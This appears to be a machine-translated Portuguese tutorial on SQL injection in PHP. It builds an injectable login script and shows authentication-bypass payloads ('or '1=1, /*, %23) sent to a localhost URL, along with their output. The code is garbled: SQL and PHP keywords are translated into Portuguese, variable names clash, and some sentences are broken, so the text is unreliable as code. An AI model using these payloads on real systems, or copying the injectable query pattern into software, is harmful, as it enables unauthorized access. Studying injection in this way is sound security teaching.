Deixe-me primeiro dar um exemplo para entender a particularidade e o princípio da injeção em PHP. É claro que este exemplo também pode lhe dizer como aprender a construir instruções SQL eficazes.
Vamos dar um exemplo de verificação de usuário. Primeiro, crie um banco de dados e uma tabela de dados e insira um registro, conforme segue:
Código PHP:
CRIAR TABELA `usuário` (
`userid` int(11) NOT NULL auto_increment,
`nome de usuário` varchar(20) NOT NULL padrão '',
`senha` varchar(20) NOT NULL padrão '',
CHAVE PRIMÁRIA (`userid`)
) TIPO=MyISAM AUTO_INCREMENT=3;
#
# Exporta os dados da tabela `user`
#
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
O código para verificar o arquivo do usuário é o seguinte:
Código PHP:
<?php
$nomeservidor = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injeção";
mysql_connect($servername,$dbusername,$dbpassword) ou die ("Falha na conexão com o banco de dados");
$sql = "SELECT * FROM usuário WHERE nomedeusuário='$nomedeusuário' AND senha='$senha'";
$resultado = mysql_db_query($nomebd, $sql);
$userinfo = mysql_fetch_array($resultado);
if (vazio($informações do usuário)){
echo "Falha no login";
} outro {
echo "Login realizado com sucesso";
}
echo "<p>Consulta SQL:$sql<p>";
?>
Neste momento enviamos:
http://127.0.0.1/injection/user.php?username=angel'or 1=1
e ele retornará:
Aviso: mysql_fetch_array(): o argumento fornecido não é um recurso de resultado válido do MySQL em F: wwwinjectionuser.php na linha 13
falha no login
Consulta SQL:SELECT * FROM usuário WHERE nomedeusuario='angel' ou 1=1' AND senha='
Aviso do PHP: mysql_fetch_array(): o argumento fornecido não é um recurso de resultado válido do MySQL em F:wwwinjectionuser.php na linha 13
Viu? Depois que as aspas simples são fechadas, as seguintes aspas simples não são comentadas, fazendo com que as aspas simples não sejam emparelhadas corretamente. Portanto, pode-se observar que a instrução que construímos não pode permitir que o Mysql seja executado corretamente e precisa ser reestruturada:
http://127.0.0.1/injection/user.php?username=angel'or '1=1
Neste momento, "Login bem-sucedido" é exibido, indicando que foi bem-sucedido. Ou envie:
http://127.0.0.1/injection/user.php?username=angel'/ *
http://127.0.0.1/injection/user.php?username=angel'%23
Isso comentará as seguintes afirmações! Vamos falar sobre as diferenças entre essas duas submissões. A primeira frase que enviamos usa operações lógicas. Pode-se dizer que é amplamente utilizada em ASP. A segunda e a terceira frases são baseadas nas características do MySQL. O Mysql suporta dois formatos de comentários: /* e #, portanto, quando enviamos, comentamos o seguinte código. É importante notar que devido a problemas de codificação, enviamos # em. a barra de endereço do IE ficará vazia, então quando enviarmos na barra de endereço, devemos enviar %23 antes que se torne #, e seja comentado com sucesso. Isso é muito mais simples que as operações lógicas. poderoso e flexível que ASP. Muito mais.